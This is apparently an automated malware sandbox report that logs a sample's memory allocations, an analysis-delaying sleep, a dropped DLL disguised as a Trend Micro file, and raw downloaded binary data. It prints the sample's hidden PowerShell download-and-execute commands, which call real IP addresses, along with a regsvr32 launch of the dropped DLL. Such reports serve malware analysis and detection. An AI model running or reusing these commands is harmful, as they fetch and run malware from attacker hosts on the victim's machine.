NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f43000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f44000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0240b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02407000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01efb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02405000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f45000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02810000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f46000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0240c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023b8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023b9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e51000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e52000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e53000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e54000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e55000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e56000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e57000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e59000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e5a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e5b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e5d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e5e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e5f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e61000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e62000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e63000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e64000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

powershell.exe tried to sleep 170 seconds, actually delayed analysis time by 170 seconds

Creates executable files on the filesystem (1 event)

file	C:\Users\Public\Videos\trendmicro2.dll

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (4 events)

cmdline	powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://108.62.12.61:99/home'))"
cmdline	powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://194.5.212.190/load/trendmicro2.dll','C:\users\public\videos\trendmicro2.dll')
cmdline	regsvr32 C:\users\public\videos\trendmicro2.dll
cmdline	powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://108.62.12.61:80/home2'))"

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Nov. 1, 2021, 10:56 a.m.	process_identifier: 2840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 155648 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x07440000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Nov. 1, 2021, 10:56 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (16 events)

Data received	$(HDÈLÈHD$8LH$H$è{ëLL$PLD$pHT$ H$è,HD$ HL$(HÈHÄÃÌÌÌÌÌÌLD$HT$HL$HìH$è äÿÿHD$HH$HD$XHD$XHD$0HD$XHÀHD$8HD$0HH$H+ÈHÁHÁøHD$(HD$8HL$0H HH+ÁHÁøHD$`H$èû'H9D$`uèïHD$`HÿÀHD$pHT$pH$èÀHD$PHT$PHL$HèHD$ HkD$( HL$ HD HD$hHD$hHD$@H$ è«ÕÿÿHD$xHkL$( HT$ HÑHÊèÕÿÿHL$xLÁHÐHL$Hè«HkD$( HL$ HÈHÁHD$@HD$8HH9$u$LL$ HD$8LHD$0HH$è¡ë]LL$ L$HD$0HH$èÝHD$ HD$@HkD$( HL$ HD LÈHD$8LH$H$è£ëLL$PLD$pHT$ H$èHkD$( HL$ HÈHÁHÄÃÌÌÌÌÌÌÌÌÌÌÌLD$HT$HL$HìH$èíáÿÿHD$HH$HD$XHD$XHD$0HD$XHÀHD$8HD$0HH$H+ÈHÁHÁøHD$(HD$8HL$0H HH+ÁHÁøHD$`H$èÛ%H9D$`uèÏHD$`HÿÀHD$pHT$pH$è HD$PHT$PHL$HèìHD$ HkD$( HL$ HD HD$hHD$hHD$@H$ èÓÿÿHD$xHkL$( HT$ HÑHÊèpÓÿÿHL$xLÁHÐHL$HèÛHkD$( HL$ HÈHÁHD$@HD$8HH9$u$LL$ HD$8LHD$0HH$èë]LL$ L$HD$0HH$è½HD$ HD$@HkD$( HL$ HD LÈHD$8LH$H$èëLL$PLD$pHT$ H$èôHkD$( HL$ HÈHÁHÄÃÌÌÌÌÌÌÌÌÌÌÌHL$Hì8ÆD$ H¸ÿÿÿÿÿÿÿHD$(H¸ÿÿÿÿÿÿÿH9D$@vèâÿÿHD$@HÁàHÄ8ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHL$Hì8ÆD$ H¸ÿÿÿÿÿÿÿHD$(H¸ÿÿÿÿÿÿÿH9D$@vèÍáÿÿHkD$@ HÄ8ÃÌÌHL$HD$HÃÌÌDL$ DD$HT$HL$HìH$HD$0HD$0H@HD$8H$èçÿÿH+D$8H;$sè©âÿÿH$HL$8HÈHÁHD$HHD$0H@HD$XHT$HH$èáÝÿÿHD$PH$è¯ÞÿÿHD$hHD$PHÿÀHÐHL$hèeâÿÿHD$@HL$0èVÑÿÿHD$0HL$HHHHD$0HL$PHHHL$@èàÐÿÿHD$pH\|$XrfHD$0HHD$`HL$`è¼Ðÿÿ¶$¨L$ LL$8LÀHT$pH$ èV HD$XHÿÀLÀHT$`HL$hè¼äÿÿHD$0HL$@Hë=HD$0¶$¨L$ LL$8LÀHT$pH$ è HD$0HT$@HÈèàÏÿÿH$HÄÃLL$ LD$HT$HL$Hì(HL$0è~ÝÿÿLÈLD$HHT$@HL$8èHÄ(ÃÌÌLL$ LD$HT$HL$HìXHL$`èÞýÿÿHD$ HL$hèÏýÿÿHD$(LD$xHT$pHL$8èëHD$ HÀ HD$ HD$(H9D$ tHT$ HL$8èzóÿÿëÕHL$8è.HD$0HL$8èHD$0HÄXÃÌÌÌÌÌLL$ LD$HT$HL$HìXHL$`è>ýÿÿHD$ HL$hè/ýÿÿHD$(HL$pèÏÿÿLÀHT$(HL$ èñÿÿHD$ HL$(H+ÈHÁHÁøHL$pHÁëgLD$xHT$pHL$8è»ëHD$ HÀHD$ HD$(H9D$ tHL$ èÎÿÿHÐHL$8èøòÿÿëÍHL$8èLHD$0HL$8èýHD$0HÄXÃÌÌÌLL$ LD$HT$HL$HìXHL$`è^üÿÿHD$ HL$hèOüÿÿHD$(LD$xHT$pHL$8èëHD$ HÀ HD$ HD$(H9D$ tHL$ èïÍÿÿHÐHL$8è²òÿÿëÍHL$8è¦HD$0HL$8èHD$0HÄXÃÌÌÌÌÌÌÌÌÌÌÌÌÌHT$HL$HkD$ HL$HHL$HÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌLD$HT$HL$Hì8HT$PHL$HèÎÙÿÿHL$PètûÿÿHD$(HL$HèeûÿÿD¶L$ HL$(LÁHÐHL$@è:îÿÿHÄ8ÃÌÌÌÌÌLD$HT$HL$Hì8HL$HèÍÿÿHÐ¹èFÖÿÿHD$ HL$PèçÌÿÿHL$ HHHÄ8ÃÌÌÌÌÌÌÌLD$HT$HL$Hì8HL$Hè³ÌÿÿHÐ¹ èöÕÿÿHD$ HL$PèÌÿÿHÐHL$ èZHÄ8ÃÌÌÌÌÌLD$HT$HL$Hì8HL$HècÌÿÿHÐ¹ è¦ÕÿÿHD$ HL$PèGÌÿÿHÐHL$ èªÐÿÿHÄ8ÃÌÌÌÌÌHT$HL$Hì(3ÒHL$8èvHÄ(ÃÌHT$HL$HD$HL$H+ÈHÁHÁøÃÌHT$HL$HìHHD$PHD$ HD$ HÀHD$(HD$(HL$ HIH9tHL$XèËÿÿHÐHL$PèÐðÿÿë$HL$XèËÿÿLÀHD$(HHL$Pè¿òÿÿHD$0HÄHÃÌÌÌÌÌHT$HL$HìHHD$PHD$ HD$ HÀHD$(HD$(HL$ HIH9tHL$Xè-ËÿÿHÐHL$Pèñÿÿë$HL$XèËÿÿLÀHD$(HHL$PèOôÿÿHD$0HÄHÃÌÌÌÌÌHT$HL$HìHHD$PHD$ HD$ HÀHD$(HD$(HL$ HIH9tHL$XèÊÿÿHÐHL$Pè0ñÿÿë$HL$XèÊÿÿLÀHD$(HHL$PèïõÿÿHD$0HÄHÃÌÌÌÌÌHT$HL$HìHD$ HH$HD$ HL$(H HH$HÄÃÌÌÌÌÌÌÌÌÌÌÌÌÌHT$HL$Hì(HT$8HL$0ècüÿÿHD$0HÄ(ÃÌÌÌÌÌÌÌÌÌLD$HT$HL$HD$HL$HHD$HL$HHHD$HL$HHHD$ÃÌÌHL$HD$HÇHD$HÇ@HD$HÇ@HD$ÃÌÌÌÌÌÌÌÌÌÌÌÌÌ
Data received	ÌÌLL$ LD$HT$HL$HD$HL$HHD$HL$HHHD$HL$ HHHD$ÃÌÌÌÌÌÌÌÌÌÌÌÌÌHT$HL$Hì8HL$HèÖÿÿHÐHL$!èHL$@LÀ¶T$"èÇÿÿH¹èHD$(HD$@LÀHT$(HL$ èÏÿÿHT$HHL$@è6HL$ èÉÿÿHD$@HÄ8ÃÌHL$Hì8HD$@¶T$ HÈèéÿÿHD$@HQèHÈèñÔÿÿHD$@HÄ8ÃÌÌÌÌÌÌÌHT$HL$HìxHÇD$1H$HÀHT$1HÈèÐýÿÿHD$PHÇD$9H$HÀHT$9HÈè©ýÿÿHD$XHÇD$AH$HT$AHÈèýÿÿHD$`H$èdÕÿÿHÈèÜÇÿÿH$HT$PHT$(HT$XHT$ LL$`LÀ¶T$0èNèÿÿH$HgçHÈèÔÿÿH$H$HÐèïÓÿÿH$HÄxÃÌÌHL$Hì(HD$0L@HD$0HPHD$0HèøêÿÿHÄ(ÃÌÌÌHL$Hì(HD$0L@HD$0HPHD$0HèØêÿÿHÄ(ÃÌÌÌHL$Hì(HL$0èíHÄ(ÃÌÌÌÌÌÌÌÌHL$Hì(HL$0è HÄ(ÃÌÌÌÌÌÌÌÌHT$HL$WHì0HL$Hè·ÆÿÿH9D$@t&HD$ Hø3À¹óªD¶D$ HT$HHL$@èjHD$@HÄ0_ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHT$HL$HìHD$ H$HkD$( H$HHÄÃÌÌÌÌÌÌÌLL$ LD$HT$HL$Hì8LD$XHT$PHL$HèôÙÿÿHD$XHL$HHÈHÁHT$`HÈè·ØÿÿÆ
Data received	HD$DL$LÈÁiL$ +ÁiL$,+ÁÁø¹HkÉHT$ D$HL$DÈÁiL$ÿÁiL$l++ÁiL$ÍÁø¹HkÉHT$ D$HL$LÈÁiL$ Û3+ÁiL$=+ÁÁø¹HkÉHT$ D$4L$$ÈÁiÀ)D$D$8L$$ÈÁiÀ4"D$D$<L$$ÈÁiÀwD$D$L$ÈÁD$iL$$ 7+ÁiL$@ÀÁD$ D$8L$4ÈÁiÀçÿÿD$D$<L$4ÈÁiÀ5Óÿÿ$$L$ÈÁiL$4Ø(ÁiL$@4"+ÁL$ÈÁD$D$<L$8ÈÁiÀÀD$$D$$L$ÈÁiL$8¦?+ÁiL$@Ë,L$ÈÁD$D$$$ÈÁiL$<Ç)ÁiL$@)+ÁL$ÈÁD$D$ Áø¹HkÉHT$ D$Áø¹HkÉHT$ D$Áø¹HkÉHT$ D$Áø¹HkÉHT$ D$0ÿÀD$0\|$0t\|$0uëHD$HÀ HD$ë HD$`HD$é¹úÿÿH$àHD$HD$`HD$PÇD$0ë D$0ÿÈD$0\|$0ü¸HkÀ¹HkÉHT$HT$P D$ ¸HkÀ¹HkÉHT$HT$P D$¸HkÀ¹HkÉHT$HT$P D$¸HkÀ¹HkÉ8HT$HT$ D$¸HkÀ ¹HkÉ0HT$HT$ D$¸HkÀ(HL$$¸HkÀ¹HkÉHT$LD$PA+ÁD$$¸HkÀ¹HkÉHT$LD$PA+ÁD$4¸HkÀ¹HkÉHT$LD$PA+ÁD$8¸HkÀ¹HkÉ8HT$LD$A+ÁD$<¸HkÀ ¹HkÉ0HT$LD$A+ÁD$@D$L$ ÈÁD$D$D$$iÀÚ!@Áø¹HkÉHT$ $$ÈÁ$$L$ +ÈÁD$ $L$+ÈÁD$$L$+ÈÁD$$L$+ÈÁD$$L$+ÈÁD$D$L$ ÈÁiÀï-L$T$ÑÊiÉÐÁD$LD$L$+ÈÁiÀZD$DD$L$ +ÈÁiÀF(D$HD$DL$LÈÁiL$y"+ÁiL$/+Á@Áø¹HkÉHT$ D$HL$DÈÁiL$ÁiL$ï-+ÁiL$ã@Á
Data received	L$PÈÁÁø%ÿH¹HkÉHT$8LD$@A¶ D$L$P+ÈÁÁø%ÿH¹HkÉ HT$8LD$@A¶ D$(L$TÈÁÁø%ÿH¹HkÉHT$8LD$@A¶ D$(L$T+ÈÁÁø%ÿH¹HkÉHT$8LD$@A¶ D$,L$XÈÁÁø%ÿH¹HkÉHT$8LD$@A¶ D$,L$X+ÈÁÁø%ÿH¹HkÉHT$8LD$@A¶ D$L$\ÈÁÁø%ÿH¹HkÉHT$8LD$@A¶ D$L$\+ÈÁÁø%ÿH¹HkÉHT$8LD$@A¶ HD$ HÀ HD$ éúÿÿH$ðH3Ìèg[HÄÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌLL$ LD$HT$HL$Hì8HÖc H3ÄH$ H$@HH-HD$@H$PHD$`H$HH@XHD$hH$HD$(ÇD$0ë4D$0ÿÀD$0HD$`HÀHD$`HD$hHÀHD$hHD$(HÀHD$(\|$0¸HkÀHL$`¿¹HkÉHT$h¯ $$Áà $$$¸HkÀHL$`¿¹HkÉHT$h¯ D$¸HkÀ HL$`¿¹HkÉ HT$h¯ D$¸HkÀ0HL$`¿¹HkÉ0HT$h¯ D$D$L$ÈÁD$$D$L$+ÈÁD$iD$$ù$D$iD$$D$iD$ñ+D$D$D$HiD$+D$D$D$PiD$$ D$iD$$D$iD$à!+D$D$D$LiD$î×ÿÿD$D$D$\iD$$ò D$iD$þ+$D$iD$úÿÿ+D$+D$D$TiD$KæÿÿD$+D$D$XD$L$+ÈÁiÀA-$D$p¸HkÀHL$`¿¹HkÉHT$h¯ $¸HkÀHL$`¿¹HkÉHT$h¯ D$¸HkÀ(HL$`¿¹HkÉ(HT$h¯ D$¸HkÀ8HL$`¿¹HkÉ8HT$h¯ D$D$$ÈÁiÀPD$D$$ÈÁiÀ>%D$D$$ÈÁD$ iD$ D$D$L$ÈÁD$i$¥@+ÁD$$D$L$ÈÁiÀ+õÿÿD$iD$ËL$ÈÁL$ÈÁD$iD$O2L$+ÈÁL$ÈÁD$D$L$ÈÁiÀÂÚÿÿD$D$L$ÈÁD$iD$FL$ÈÁL$ÈÁD$D$L$ÈÁiÀøêÿÿD$D$L$ÈÁD$D$L$ÈÁD$iD$ Õ D$ i$3 L$ ÈÁiL$ê+ÁD$D$L$+ÈÁiÀ$$L$ÈÁD$iD$N$ÈÁiL$Á7+ÁL$ ÈÁD$ D$$L$HÈÁÁø¹HkÉHT$( D$$L$H+ÈÁÁø¹HkÉ`HT$( D$L$LÈÁÁø¹HkÉHT$( D$L$L+ÈÁÁø¹HkÉXHT$( D$L$PÈÁÁø¹HkÉHT$( D$L$P+ÈÁÁø¹HkÉPHT$( D$L$TÈÁÁø¹HkÉHT$( D$L$T+ÈÁÁø¹HkÉHHT$( D$L$XÈÁÁø¹HkÉ HT$( D$L$X+ÈÁÁø¹HkÉ@HT$( D$ L$\ÈÁÁø¹HkÉ(HT$( D$ L$\+ÈÁÁø¹HkÉ8HT$( D$pÁø¹HkÉ0HT$( é6úÿÿH$HD$(ÇD$0ë D$0ÿÀD$0\|$0 øHcD$0$`H$XHÂHÁHD$8¸HkÀHL$(@$$Áà $¸HkÀHL$(D$¸HkÀHL$(D$¸HkÀHL$(D$D$L$ÈÁD$$D$L$+ÈÁD$iD$$ù$D$iD$$D$iD$ñ+D$D$D$HiD$+D$D$D$PiD$$ D$iD$$D$iD$à!+D$D$D$LiD$î×ÿÿD$D$D$\iD$$ò D$iD$þ+$D$iD$úÿÿ+D$+D$D$TiD$KæÿÿD$+D$D$XD$L$+ÈÁiÀA-$D$p¸HkÀHL$($¸HkÀHL$(D$¸HkÀHL$(D$¸HkÀHL$(D$D$$ÈÁiÀPD$D$$ÈÁiÀ>%D$D$$ÈÁD$ iD$ D$D$L$ÈÁD$i$¥@+ÁD$$D$L$ÈÁiÀ+õÿÿD$iD$ËL$ÈÁL$ÈÁD$iD$O2L$+ÈÁL$ÈÁD$D$L$ÈÁiÀÂÚÿÿD$D$L$ÈÁD$iD$FL$ÈÁL$ÈÁD$D$L$ÈÁiÀøêÿÿD$D$L$ÈÁD$D$L$ÈÁD$iD$ Õ D$ i$3 L$ ÈÁiL$ê+ÁD$D$L$+ÈÁiÀ
Data received	@HÿÀHL$XHA$ÌÁàL$@ÈÁD$@ÇD$HD$DÑàD$DD$@ÑàD$@D$HÿÈD$H\|$DÿÿÿëHD$PH@D$`$xL$`3ÈÁD$`\|$`tD$p÷Ø$@ëD$p$@kD$tÀH$$@¸HkÀÿHL$hºè¹HkÉÿHT$h D$`ÁàÈÁà L$dÈÁD$d¸HkÀHL$hºè¹HkÉHT$h 3ÀÀHD$hH-H$D$`ÁàºèH$ ÈÁH$¸HkÀÿH$ºè¹HkÉÿH$ ¸HkÀH$ºè¹HkÉH$ 3ÀøHD$hHH$ÐD$`ÁàÈH$Ð ÈÁH$Ð¸HkÀÿH$ÐÈ¹HkÉÿH$Ð ¸HkÀH$ÐÈ¹HkÉH$Ð D$dºèD$dHD$hL$déíØÿÿéØÿÿHD$XHL$PHÀHD$XL$@HD$XL$DHHD$XL$HH\|$\|@ÉÇD$xë,D$xÿÀD$xH$HÀH$HD$hHÀHD$hD$t9D$xÇ$ë$ÿÀ$¸@+D$\|9$sQ$¯D$tÀH$HÇD$0ÇD$(B$L$ 